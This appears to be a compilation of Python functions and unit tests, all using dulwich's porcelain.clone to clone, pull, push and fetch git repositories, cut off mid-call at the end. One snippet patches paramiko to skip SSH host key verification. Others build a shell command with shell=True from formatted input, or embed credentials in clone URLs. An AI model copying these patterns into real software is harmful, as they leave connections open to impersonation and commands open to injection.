def git_clone(url: str, path: str) -> None: """ Clones a repository from git url to path """ if not os.path.exists(path): os.makedirs(path) porcelain.clone(url, path)
def test_simple(self): outstream = BytesIO() errstream = BytesIO() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message='test', author='test', committer='test') # Setup target repo target_path = tempfile.mkdtemp() porcelain.clone(self.repo.path, target=target_path, outstream=outstream) # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message='test2', author='test2', committer='test2') # Pull changes into the cloned repo porcelain.pull(target_path, self.repo.path, 'refs/heads/master', outstream=outstream, errstream=errstream) # Check the target repo for pushed changes r = Repo(target_path) self.assertEqual(r['HEAD'].id, self.repo['HEAD'].id)
def example(): print '=== Create folders and blobs ===' os.mkdir('git_test') repo = Repo.init('git_test') for x in range(5): r = Repo('git_test') s = Snapshot(r) root = s.root() print '$ ls' print root.nodes() dir1 = root.add_treenode('dir1') blob = dir1.add_blobnode('file1', 'content%s' % x) blob.save() dir2 = dir1.add_treenode('dir2') blob = dir2.add_blobnode('file2', 'content%s' % x) blob.save() dir2.save() dir1.save() root.save() print 'commit:', s.commit('testuser', message='test commit: %s' % x).id print '$ cat dir1/file1' print root.get_node('dir1').get_node('file1').read_data() print dir1.get_node('dir2').get_node('file2').read_data() print #Using Porcelain #Initiating a new repo repo = porcelain.init("myrepo") #cloning a repo from a server porcelain.clone("https://github.com/sugarlabs/browse-activity.git","browse_activity_clone") #local cloning porcelain.clone("/home/vikram/browse_activity_clone","browse_activity_clone_1") print print "Commiting" open("myrepo/testfile","w").write("data") porcelain.add(repo,"myrepo/testfile") porcelain.commit(repo,"A sample commit") open("myrepo/testfile","w").write("data1") porcelain.add(repo,"myrepo/testfile") porcelain.commit(repo,"Second commit") open("myrepo/testfile1","w").write("sugar-labs") porcelain.add(repo,"myrepo/testfile1") porcelain.commit(repo,"First commit") print "Commit Logs:" print porcelain.log(repo)
def test_no_head_no_checkout(self): f1_1 = make_object(Blob, data=b'f1') commit_spec = [[1]] trees = {1: [(b'f1', f1_1), (b'f2', f1_1)]} (c1, ) = build_commit_graph(self.repo.object_store, commit_spec, trees) self.repo.refs[b"refs/heads/master"] = c1.id target_path = tempfile.mkdtemp() errstream = BytesIO() self.addCleanup(shutil.rmtree, target_path) porcelain.clone(self.repo.path, target_path, checkout=True, errstream=errstream)
def _git_clone(url, path): outp = BytesIO() if path.exists(): # TODO: handle updating existing repo LOG.warning( "path already exists, updating from remote is not yet implemented" ) # shutil.rmtree(path) if not path.exists(): path.mkdir(parents=True) porcelain.clone(url, str(path), checkout=True, errstream=outp, outstream=outp) LOG.debug(outp.getvalue().decode("utf-8"))
def test_delete(self): """Basic test of porcelain push, removing a branch. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'', committer=b'') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, clone_path) target_repo = porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) target_repo.close() # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" new_id = self.repo[b'HEAD'].id self.assertNotEqual(new_id, ZERO_SHA) self.repo.refs[refs_path] = new_id # Push to the remote porcelain.push(clone_path, self.repo.path, b":" + refs_path, outstream=outstream, errstream=errstream) self.assertEqual({ b'HEAD': new_id, b'refs/heads/master': new_id, }, self.repo.get_refs())
def test_simple(self): outstream = BytesIO() errstream = BytesIO() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b"test", author=b"test", committer=b"test") # Setup target repo target_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, target_path) target_repo = porcelain.clone(self.repo.path, target=target_path, errstream=errstream) # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b"test2", author=b"test2", committer=b"test2") self.assertFalse(self.repo[b"HEAD"].id in target_repo) target_repo.close() # Fetch changes into the cloned repo porcelain.fetch(target_path, self.repo.path, outstream=outstream, errstream=errstream) # Check the target repo for pushed changes with closing(Repo(target_path)) as r: self.assertTrue(self.repo[b"HEAD"].id in r)
def setUp(self): super(PullTests, self).setUp() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) porcelain.add(repo=self.repo.path, paths=fullpath) porcelain.commit(repo=self.repo.path, message=b'test', author=b'test', committer=b'test') # Setup target repo self.target_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, self.target_path) target_repo = porcelain.clone(self.repo.path, target=self.target_path, errstream=BytesIO()) target_repo.close() # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) porcelain.add(repo=self.repo.path, paths=fullpath) porcelain.commit(repo=self.repo.path, message=b'test2', author=b'test2', committer=b'test2') self.assertTrue(b'refs/heads/master' in self.repo.refs) self.assertTrue(b'refs/heads/master' in target_repo.refs)
def fetch(self): """Load from the associated Git repository.""" os.makedirs(os.path.dirname(self.cached_repo), exist_ok=True) if not os.path.exists(self.cached_repo): self._log.warning("Index not found, caching %s in %s", self.repo, self.cached_repo) git.clone(self.remote_url, self.cached_repo, checkout=True) else: self._log.debug("Index is cached") if self._are_local_and_remote_heads_different(): self._log.info("Cached index is not up to date, pulling %s", self.repo) git.pull(self.cached_repo, self.remote_url) with open(os.path.join(self.cached_repo, self.INDEX_FILE), encoding="utf-8") as _in: self.contents = json.load(_in)
def test_simple_local(self): f1_1 = make_object(Blob, data=b'f1') commit_spec = [[1], [2, 1], [3, 1, 2]] trees = {1: [(b'f1', f1_1), (b'f2', f1_1)], 2: [(b'f1', f1_1), (b'f2', f1_1)], 3: [(b'f1', f1_1), (b'f2', f1_1)], } c1, c2, c3 = build_commit_graph(self.repo.object_store, commit_spec, trees) self.repo.refs[b"refs/heads/master"] = c3.id self.repo.refs[b"refs/tags/foo"] = c3.id target_path = tempfile.mkdtemp() errstream = BytesIO() self.addCleanup(shutil.rmtree, target_path) r = porcelain.clone(self.repo.path, target_path, checkout=False, errstream=errstream) self.addCleanup(r.close) self.assertEqual(r.path, target_path) target_repo = Repo(target_path) self.assertEqual(0, len(target_repo.open_index())) self.assertEqual(c3.id, target_repo.refs[b'refs/tags/foo']) self.assertTrue(b'f1' not in os.listdir(target_path)) self.assertTrue(b'f2' not in os.listdir(target_path)) c = r.get_config() encoded_path = self.repo.path if not isinstance(encoded_path, bytes): encoded_path = encoded_path.encode('utf-8') self.assertEqual(encoded_path, c.get((b'remote', b'origin'), b'url')) self.assertEqual( b'+refs/heads/*:refs/remotes/origin/*', c.get((b'remote', b'origin'), b'fetch'))
def test_simple(self): outstream = BytesIO() errstream = BytesIO() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b'test', author=b'test', committer=b'test') # Setup target repo target_path = tempfile.mkdtemp() target_repo = porcelain.clone(self.repo.path, target=target_path, errstream=errstream) # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b'test2', author=b'test2', committer=b'test2') self.assertFalse(self.repo[b'HEAD'].id in target_repo) # Fetch changes into the cloned repo porcelain.fetch(target_path, self.repo.path, outstream=outstream, errstream=errstream) # Check the target repo for pushed changes r = Repo(target_path) self.assertTrue(self.repo[b'HEAD'].id in r)
def setUp(self): super(PullTests, self).setUp() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) porcelain.add(repo=self.repo.path, paths=fullpath) porcelain.commit(repo=self.repo.path, message=b'test', author=b'test <email>', committer=b'test <email>') # Setup target repo self.target_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, self.target_path) target_repo = porcelain.clone(self.repo.path, target=self.target_path, errstream=BytesIO()) target_repo.close() # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) porcelain.add(repo=self.repo.path, paths=fullpath) porcelain.commit(repo=self.repo.path, message=b'test2', author=b'test2 <email>', committer=b'test2 <email>') self.assertTrue(b'refs/heads/master' in self.repo.refs) self.assertTrue(b'refs/heads/master' in target_repo.refs)
def test_simple_local_with_checkout(self): f1_1 = make_object(Blob, data=b'f1') commit_spec = [[1], [2, 1], [3, 1, 2]] trees = { 1: [(b'f1', f1_1), (b'f2', f1_1)], 2: [(b'f1', f1_1), (b'f2', f1_1)], 3: [(b'f1', f1_1), (b'f2', f1_1)], } c1, c2, c3 = build_commit_graph(self.repo.object_store, commit_spec, trees) self.repo.refs[b"refs/heads/master"] = c3.id target_path = tempfile.mkdtemp() errstream = BytesIO() self.addCleanup(shutil.rmtree, target_path) with closing( porcelain.clone(self.repo.path, target_path, checkout=True, errstream=errstream)) as r: self.assertEqual(r.path, target_path) with closing(Repo(target_path)) as r: self.assertEqual(r.head(), c3.id) self.assertTrue('f1' in os.listdir(target_path)) self.assertTrue('f2' in os.listdir(target_path))
def test_simple(self): outstream = BytesIO() errstream = BytesIO() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b'test', author=b'test', committer=b'test') # Setup target repo target_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, target_path) target_repo = porcelain.clone(self.repo.path, target=target_path, errstream=errstream) target_repo.close() # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b'test2', author=b'test2', committer=b'test2') # Pull changes into the cloned repo porcelain.pull(target_path, self.repo.path, b'refs/heads/master', outstream=outstream, errstream=errstream) # Check the target repo for pushed changes with closing(Repo(target_path)) as r: self.assertEqual(r[b'HEAD'].id, self.repo[b'HEAD'].id)
def clone_repository(self, repo_url, repo_path): repo_path.mkdir(parents=True, exist_ok=True) repo_object = porcelain.clone(repo_url, target=str(repo_path), bare=False, checkout=True, errstream=porcelain.NoneStream()) repo_object.close()
def _install_app(self, _): """Installing the app.""" self.install_info.value = """<i class="fa fa-spinner fa-pulse" style="color:#337ab7;font-size:4em;" ></i> <font size="1"><blink>Installing the app...</blink></font>""" clone(source=self._git_url, target=self._get_appdir()) self.install_info.value = """<i class="fa fa-check" style="color:#337ab7;font-size:4em;" ></i> <font size="1">Success</font>""" check_output(['git checkout {}'.format(AIIDALAB_DEFAULT_GIT_BRANCH)], cwd=self._get_appdir(), stderr=STDOUT, shell=True) self._refresh_version() self._refresh_install_button() self._refresh_update_button() self._refresh_uninstall_button() sleep(1) self.install_info.value = ''
def clone_git(server, base_uri, vcs_creds, vcs_uri, export_dir): if not os.path.exists(export_dir): os.makedirs(export_dir) with cd(export_dir): url = "https://{}@{}{}{}".format(vcs_creds, server, base_uri, vcs_uri) repo = git.clone(url) path = os.path.abspath(repo.path) return path
def __update_pull_plugin_artifact__(self, plugin_conf): """Pull the latest artifact to be sure we're up to date""" path = f"{self.iocroot}/jails/{self.plugin}" shutil.rmtree(f"{path}/plugin", ignore_errors=True) with open("/dev/null", "wb") as devnull: porcelain.clone(plugin_conf["artifact"], f"{path}/plugin", outstream=devnull, errstream=devnull) try: distutils.dir_util.copy_tree(f"{path}/plugin/overlay/", f"{path}/root", preserve_symlinks=True) except distutils.errors.DistutilsFileError: # It just doesn't exist pass
def clone_repo(git_settings): logger.info("Cloning git repo ...") # Patch dulwich to work without valid UID/GID dulwich.repo.__original__get_default_identity = dulwich.repo._get_default_identity dulwich.repo._get_default_identity = _dulwich_repo_get_default_identity # Patch dulwich to use paramiko SSH client dulwich.client.get_ssh_vendor = ParamikoSSHVendor # Patch paramiko to skip key verification paramiko.transport.Transport._verify_key = _paramiko_transport_verify_key # Set USERNAME if needed try: getpass.getuser() except: # pylint: disable=W0702 os.environ["USERNAME"] = "******" os.mkdir("/tmp/git_dir") # Get options source = git_settings.get("repo") target = "/tmp/git_dir" branch = git_settings.get("repo_branch") if not branch: branch = "master" depth = None # Prepare auth auth_args = dict() if git_settings.get("repo_user"): auth_args["username"] = git_settings.get("repo_user") if git_settings.get("repo_pass"): auth_args["password"] = git_settings.get("repo_pass") if git_settings.get("repo_key"): key = git_settings.get("repo_key").replace("|", "\n") key_obj = io.StringIO(key) if "BEGIN RSA PRIVATE KEY" in key: pkey = paramiko.RSAKey.from_private_key( key_obj, auth_args.get("password", None)) else: pkey = paramiko.Ed25519Key.from_private_key( key_obj, auth_args.get("password", None)) # Patch paramiko to use our key paramiko.client.SSHClient._auth = _paramiko_client_SSHClient_auth( paramiko.client.SSHClient._auth, pkey) # Clone repository repository = porcelain.clone(source, target, checkout=False, depth=depth, **auth_args) try: branch = branch.encode("utf-8") repository[b"refs/heads/" + branch] = repository[b"refs/remotes/origin/" + branch] repository.refs.set_symbolic_ref(b"HEAD", b"refs/heads/" + branch) repository.reset_index(repository[b"HEAD"].tree) except KeyError: logger.error(f"The {branch} branch does not exist") exit(1)
def run(event, context): dulwich.client.get_ssh_vendor = git.KeyParamikoSSHVendor repo = porcelain.clone( "remote_repository", "/tmp/repo" ) server.update_server_info(repo) with open("/tmp/repo/.git/info/refs") as r: print(r.read())
def test_simple(self): """ Basic test of porcelain push where self.repo is the remote. First clone the remote, commit a file to the clone, then push the changes back to the remote. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'author <email>', committer=b'committer <email>') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, clone_path) target_repo = porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) try: self.assertEqual(target_repo[b'HEAD'], self.repo[b'HEAD']) finally: target_repo.close() # create a second file to be pushed back to origin handle, fullpath = tempfile.mkstemp(dir=clone_path) os.close(handle) porcelain.add(repo=clone_path, paths=[fullpath]) porcelain.commit(repo=clone_path, message=b'push', author=b'author <email>', committer=b'committer <email>') # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" new_id = self.repo[b'HEAD'].id self.assertNotEqual(new_id, ZERO_SHA) self.repo.refs[refs_path] = new_id # Push to the remote porcelain.push(clone_path, self.repo.path, b"HEAD:" + refs_path, outstream=outstream, errstream=errstream) # Check that the target and source with Repo(clone_path) as r_clone: self.assertEqual({ b'HEAD': new_id, b'refs/heads/foo': r_clone[b'HEAD'].id, b'refs/heads/master': new_id, }, self.repo.get_refs()) self.assertEqual(r_clone[b'HEAD'].id, self.repo[refs_path].id) # Get the change in the target repo corresponding to the add # this will be in the foo branch. change = list(tree_changes(self.repo, self.repo[b'HEAD'].tree, self.repo[b'refs/heads/foo'].tree))[0] self.assertEqual(os.path.basename(fullpath), change.new.path.decode('ascii'))
def main(args): args = args[1:] head = args[0] ezlisp = os.getenv("Ezlisp") if head == "install": repo = args[1] url = "https://github.com/" + repo + ".git" module = repo.split('/')[1] path = os.path.join(ezlisp, "packages", module) os.makedirs(path) try: porcelain.clone(url, path) except: shutil.rmtree(path) elif head == "uninstall": module = args[1] path = os.path.join(ezlisp, "packages", module) shutil.rmtree(path)
def test_simple_local(self): c1, c2, c3 = build_commit_graph(self.repo.object_store, [[1], [2, 1], [3, 1, 2]]) self.repo.refs["refs/heads/master"] = c3.id target_path = tempfile.mkdtemp() outstream = StringIO() self.addCleanup(shutil.rmtree, target_path) r = porcelain.clone(self.repo.path, target_path, outstream=outstream) self.assertEquals(r.path, target_path) self.assertEquals(Repo(target_path).head(), c3.id)
def install_config(self): # Set folder location at ~/optimalframework if not set if self.install_location is None: _folder_location = os.path.expanduser("~/optimalframework") else: _folder_location = os.path.expanduser(self.install_location) if not os.path.exists(_folder_location): # Clone the config repo _repo = porcelain.clone(source= self.install_repository_url, target= _folder_location, checkout=True) else: raise Exception("Error installing the configuration files at \"" + _folder_location + "\", directory already exists.")
def run(self, args): parser = optparse.OptionParser() parser.add_option("--bare", dest="bare", help="Whether to create a bare repository.", action="store_true") parser.add_option("--depth", dest="depth", type=int, help="Depth at which to fetch") options, args = parser.parse_args(args) if args == []: print("usage: dulwich clone host:path [PATH]") sys.exit(1) source = args.pop(0) if len(args) > 0: target = args.pop(0) else: target = None porcelain.clone(source, target, bare=options.bare, depth=options.depth)
def clone_rules(r_path, l_path): try: # redirect output/err to devnull f = open(os.devnull, 'wb') if (validators.url(r_path)): repo = porcelain.clone(r_path, l_path, errstream=f) return True else: return False except: sys_log(str(sys.exc_info()[1]), LOG_ERR)
def test_simple(self): """ Basic test of porcelain push where self.repo is the remote. First clone the remote, commit a file to the clone, then push the changes back to the remote. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'', committer=b'') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) # create a second file to be pushed back to origin handle, fullpath = tempfile.mkstemp(dir=clone_path) os.close(handle) porcelain.add(repo=clone_path, paths=[os.path.basename(fullpath)]) porcelain.commit(repo=clone_path, message=b'push', author=b'', committer=b'') # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" self.repo[refs_path] = self.repo[b'HEAD'] # Push to the remote porcelain.push(clone_path, self.repo.path, refs_path, outstream=outstream, errstream=errstream) # Check that the target and source r_clone = Repo(clone_path) # Get the change in the target repo corresponding to the add # this will be in the foo branch. change = list(tree_changes(self.repo, self.repo[b'HEAD'].tree, self.repo[b'refs/heads/foo'].tree))[0] self.assertEqual(r_clone[b'HEAD'].id, self.repo[refs_path].id) self.assertEqual(os.path.basename(fullpath), change.new.path.decode('ascii'))
def git_clone(url: str, path: str) -> None: """ Clones a repository from git url to path """ if not os.path.exists(path): os.makedirs(path) repo = porcelain.clone(url, path) config = repo.get_config() config.set(("branch", "master"), "remote", "origin") config.set(("branch", "master"), "merge", "refs/heads/master") config.write_to_path()
def git_clone(url: str, path: str) -> None: """ Clones a repository from git url to path """ if not os.path.exists(path): os.makedirs(path) repo = porcelain.clone(url, path) config = repo.get_config() config.set(('branch', 'master'), 'remote', 'origin') config.set(('branch', 'master'), 'merge', 'refs/heads/master') config.write_to_path()
def open_or_clone_repo(rdir, rurl, no_clone): try: repo = git.open_repo(rdir) return repo except: repo = None if repo is None and no_clone is False: dbg('Cloning %s to %s' % (rurl, rdir)) return git.clone(rurl, rdir) return repo
def test_simple(self): """ Basic test of porcelain push where self.repo is the remote. First clone the remote, commit a file to the clone, then push the changes back to the remote. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'', committer=b'') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) # create a second file to be pushed back to origin handle, fullpath = tempfile.mkstemp(dir=clone_path) porcelain.add(repo=clone_path, paths=[os.path.basename(fullpath)]) porcelain.commit(repo=clone_path, message=b'push', author=b'', committer=b'') # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" self.repo[refs_path] = self.repo[b'HEAD'] # Push to the remote porcelain.push(clone_path, self.repo.path, refs_path, outstream=outstream, errstream=errstream) # Check that the target and source r_clone = Repo(clone_path) # Get the change in the target repo corresponding to the add # this will be in the foo branch. change = list(tree_changes(self.repo, self.repo[b'HEAD'].tree, self.repo[b'refs/heads/foo'].tree))[0] self.assertEqual(r_clone[b'HEAD'].id, self.repo[refs_path].id) self.assertEqual(os.path.basename(fullpath), change.new.path.decode('ascii'))
def test_simple(self): outstream = BytesIO() errstream = BytesIO() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b'test', author=b'test', committer=b'test') # Setup target repo target_path = tempfile.mkdtemp() porcelain.clone(self.repo.path, target=target_path, errstream=errstream) # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b'test2', author=b'test2', committer=b'test2') # Pull changes into the cloned repo porcelain.pull(target_path, self.repo.path, b'refs/heads/master', outstream=outstream, errstream=errstream) # Check the target repo for pushed changes r = Repo(target_path) self.assertEqual(r[b'HEAD'].id, self.repo[b'HEAD'].id)
def checkout_repo(path, url, bare=True): """ Either clones a new Git repo from URL into path (if it didn't already exist), or else fetches new content from URL into repo at path (if it did already exist). Returns a Dulwich Repo object on path. """ abspath = pathlib.Path(path).resolve() cfgpath = abspath / ('config' if bare else '.git/config') abspath = str(abspath) if cfgpath.exists(): logger.debug(f'Fetching {url} into {path}...') fetch_all(Repo(abspath)) else: logger.debug(f'Cloning {url} into {path}...') clone(url, target=abspath, bare=bare, errstream=default_bytes_err_stream) return Repo(abspath)
def run(self, para=None): self.app.info('update now, waiting...') url = 'https://gitee.com/imagepy/imagepy' path = osp.dirname(root_dir) rpath = osp.dirname(path) newpath = osp.join(rpath, 'imagepy_new') if osp.exists(newpath): shutil.rmtree(newpath) porcelain.clone(url, os.path.join(rpath, 'imagepy_new'), depth=1).close() shutil.rmtree(os.path.join(os.path.join(rpath, 'imagepy_new'), '.git')) shutil.copytree(osp.join(path, 'imagepy/plugins'), osp.join(rpath, 'imagepy_new/imagepy/plugins')) shutil.copyfile( osp.join(path, 'imagepy/data/config.json'), osp.join(rpath, 'imagepy_new/imagepy/data/config.json')) shutil.copyfile( osp.join(path, 'imagepy/data/shortcut.json'), osp.join(rpath, 'imagepy_new/imagepy/data/shortcut.json')) newpath = os.path.join(rpath, 'imagepy_new') fs = os.listdir(os.path.join(rpath, 'imagepy_new')) fs = [i for i in fs if osp.isdir(osp.join(newpath, i))] fs = [i for i in fs if osp.exists(osp.join(path, i))] for i in [j for j in fs if j != 'imagepy']: shutil.rmtree(osp.join(path, i)) for i in [j for j in fs if j != 'imagepy']: shutil.copytree(osp.join(newpath, i), osp.join(path, i)) for i in os.listdir(root_dir): if osp.isdir(osp.join(root_dir, i)): shutil.rmtree(osp.join(root_dir, i)) else: os.remove(osp.join(root_dir, i)) newdir = os.path.join(newpath, 'imagepy') for i in os.listdir(newdir): if osp.isdir(osp.join(newdir, i)): shutil.copytree(osp.join(newdir, i), osp.join(root_dir, i)) else: shutil.copyfile(osp.join(newdir, i), osp.join(root_dir, i)) shutil.rmtree(newpath) self.app.alert('imagepy update done!')
def add(ctx, repository, project): """This command adds REPOSITORY to a PROJECT""" primer_dir = pathlib.Path(ctx.obj['confdir']) projects_yml = primer_dir / 'projects.yml' with projects_yml.open('r') as yml_file: projects_def = yaml.load(yml_file, Loader=Loader) projects = projects_def['primer']['projects'] if not project in projects: click.echo(click.style( "Project {} has not been initialized!".format(project), fg='red'), err=True) sys.exit(1) primer_yml = primer_dir / 'projects' / '{}.yml'.format(project) with primer_yml.open('r') as yml_file: project_def = yaml.load(yml_file, Loader=Loader) project_dir = project_def['primer']['directory'] repos = project_def['primer']['repositories'] if repository in repos: definition = yaml.dump(repos[repository], default_flow_style=False, Dumper=Dumper) if click.confirm( click.style( '{} already in {}, do you want to continue?\n{}'. format(repository, project, definition), fg='yellow')): repos[repository] = _modify_repository() else: repos[repository] = _modify_repository() clone_dir = pathlib.Path(project_dir) / pathlib.Path(repository) porcelain.clone(repos[repository]['uri'], str(clone_dir)) with primer_yml.open('w') as yml_file: yaml.dump(project_def, yml_file, default_flow_style=False, Dumper=Dumper)
def test_no_head_no_checkout(self): f1_1 = make_object(Blob, data=b'f1') commit_spec = [[1]] trees = {1: [(b'f1', f1_1), (b'f2', f1_1)]} (c1, ) = build_commit_graph(self.repo.object_store, commit_spec, trees) self.repo.refs[b"refs/heads/master"] = c1.id target_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, target_path) errstream = BytesIO() r = porcelain.clone( self.repo.path, target_path, checkout=True, errstream=errstream) r.close()
def run_nextflow(run, params, rundir, gitwfdir, profiles, nf_version=False): """Fairly generalized code for kantele celery task to run a WF in NXF""" print('Starting nextflow workflow {}'.format(run['nxf_wf_fn'])) outdir = os.path.join(rundir, 'output') try: clone(run['repo'], gitwfdir, checkout=run['wf_commit']) except FileExistsError: pull(gitwfdir, run['repo']) reset(gitwfdir, 'hard', run['wf_commit']) # FIXME dulwich does not seem to checkout anything, use this until it does subprocess.run(['git', 'checkout', run['wf_commit']], check=True, cwd=gitwfdir) print('Checked out repo {} at commit {}'.format(run['repo'], run['wf_commit'])) # There will be files inside data dir of WF repo so we must be in # that dir for WF to find them cmd = ['nextflow', 'run', run['nxf_wf_fn'], *params, '--outdir', outdir, '-profile', profiles, '-with-trace', '-resume'] print(cmd) env = os.environ if nf_version: env['NXF_VER'] = nf_version log_analysis(run['analysis_id'], 'Running command {}, nextflow version {}'.format(' '.join(cmd), env.get('NXF_VER', 'default'))) subprocess.run(cmd, check=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE, cwd=gitwfdir, env=env) return rundir
def _clone_repository(repository: str, repos_cache: str) -> Tuple[str, Optional[str]]: if os.path.exists(repository): Cloner._log.info("%s exists", repository) return repository, os.path.abspath(repository) git_dir = os.path.join(repos_cache, Cloner.get_repo_name(repository)) if os.path.exists(git_dir): Cloner._log.info("%s was found at %s. Skipping", repository, git_dir) return repository, os.path.abspath(git_dir) try: with open(os.devnull, "wb") as devnull: porcelain.clone(repository, git_dir, bare=False, errstream=devnull) Cloner._log.debug("%s was cloned to %s", repository, git_dir) return repository, os.path.abspath(git_dir) except Exception: Cloner._log.exception("failed to clone %s to %s", repository, git_dir) return repository, None
def _FetchRepo(target_dir, url): """Fetch a git repository from 'url' into 'target_dir'. See InstallRuntimeDef() for information on which version is selected. Args: target_dir: (str) Directory name. url: (str) Git repository URL. Raises: errors.HangupException: Hangup during communication to a remote repository. """ if os.path.exists(target_dir): # If the target directory exists, just update it. log.debug('Fetching from %s into existing directory.', url) try: porcelain.fetch(target_dir, url) except (IOError, OSError) as ex: raise InvalidTargetDirectoryError('Unable to fetch into target ' 'directory {0}: {1}'.format( target_dir, ex.message)) else: try: log.debug('Cloning from %s into %s', url, target_dir) porcelain.clone(url, target_dir, checkout=False) except (errors.NotGitRepository, OSError) as ex: # This gets thrown for an invalid directory, e.g. if the base base # directory doesn't exist. raise InvalidTargetDirectoryError('Unable to clone into target ' 'directory {0}: {1}'.format( target_dir, ex.message)) except KeyError as ex: # When we try to clone an empty git repo, we get KeyError('HEAD') when # clone tries to look up the head tag. if ex.message == 'HEAD': raise InvalidRepositoryError() else: raise
def git_pull(path, local_path="/tmp/giggity.git"): try: porcelain.pull(local_path, path) return local_path except dulwich.errors.NotGitRepository: t = tempfile.mkdtemp(prefix=local_path) repo = porcelain.clone(path, bare=True, target=t, checkout=False) try: os.rename(t, local_path) return local_path except OSError: # Guess there may have been a race. All we know # is the one we just created should work. return t
def _recurse_submodules(self, path: Path, parent_url): gitmodule_path = path / ".gitmodules" if not gitmodule_path.is_file(): return conf = ConfigFile.from_path(str(gitmodule_path)) for sub_path, url, name in parse_submodules(conf): sub_path = sub_path.decode("utf-8") url = url.decode("utf-8") name = name.decode("utf-8") if not (path / sub_path).is_dir(): (path / sub_path).mkdir(parents=True) # bizarre process here, but I don't know how else to get the sha for the # submodule... sha = None try: porcelain.get_object_by_path(str(path), sub_path) except KeyError as e: sha = e.args[0].decode("utf-8") if not sha: raise ValueError(f"Could not find sha for submodule {name}") if url.startswith("../"): base_url = parent_url for _ in range(url.count("../")): base_url = "/".join(base_url.split("/")[:-1]) url = base_url + "/" + url.replace("../", "") outp = BytesIO() if not (path / sub_path / ".git").is_dir(): LOG.info(f"fetching git submodule {url}") porcelain.clone( url, str(path / sub_path), checkout=sha, errstream=outp, outstream=outp, ) LOG.debug(outp.getvalue().decode("utf-8")) self._recurse_submodules((path / sub_path), url)
def __enter__(self) -> "TemporaryGitRepo": try: from dulwich.porcelain import clone except ImportError as exc: raise ImportError( "Unable to import dulwich, please ensure you have installed the git extra" ) from exc self.temp_dir = TemporaryDirectory() self.repo = clone( source=self.git_clone_url, target=self.temp_dir.name, depth=self.clone_depth ) if self.branch_name is not None or self.tag is not None: self.checkout_ref() return self
def test_with_remote_name(self): remote_name = b'origin' outstream = BytesIO() errstream = BytesIO() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) porcelain.add(repo=self.repo.path, paths=fullpath) porcelain.commit(repo=self.repo.path, message=b'test', author=b'test <email>', committer=b'test <email>') # Setup target repo target_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, target_path) target_repo = porcelain.clone(self.repo.path, target=target_path, errstream=errstream) # Capture current refs target_refs = target_repo.get_refs() # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) porcelain.add(repo=self.repo.path, paths=fullpath) porcelain.commit(repo=self.repo.path, message=b'test2', author=b'test2 <email>', committer=b'test2 <email>') self.assertFalse(self.repo[b'HEAD'].id in target_repo) target_repo.close() # Fetch changes into the cloned repo porcelain.fetch(target_path, self.repo.path, remote_name=remote_name, outstream=outstream, 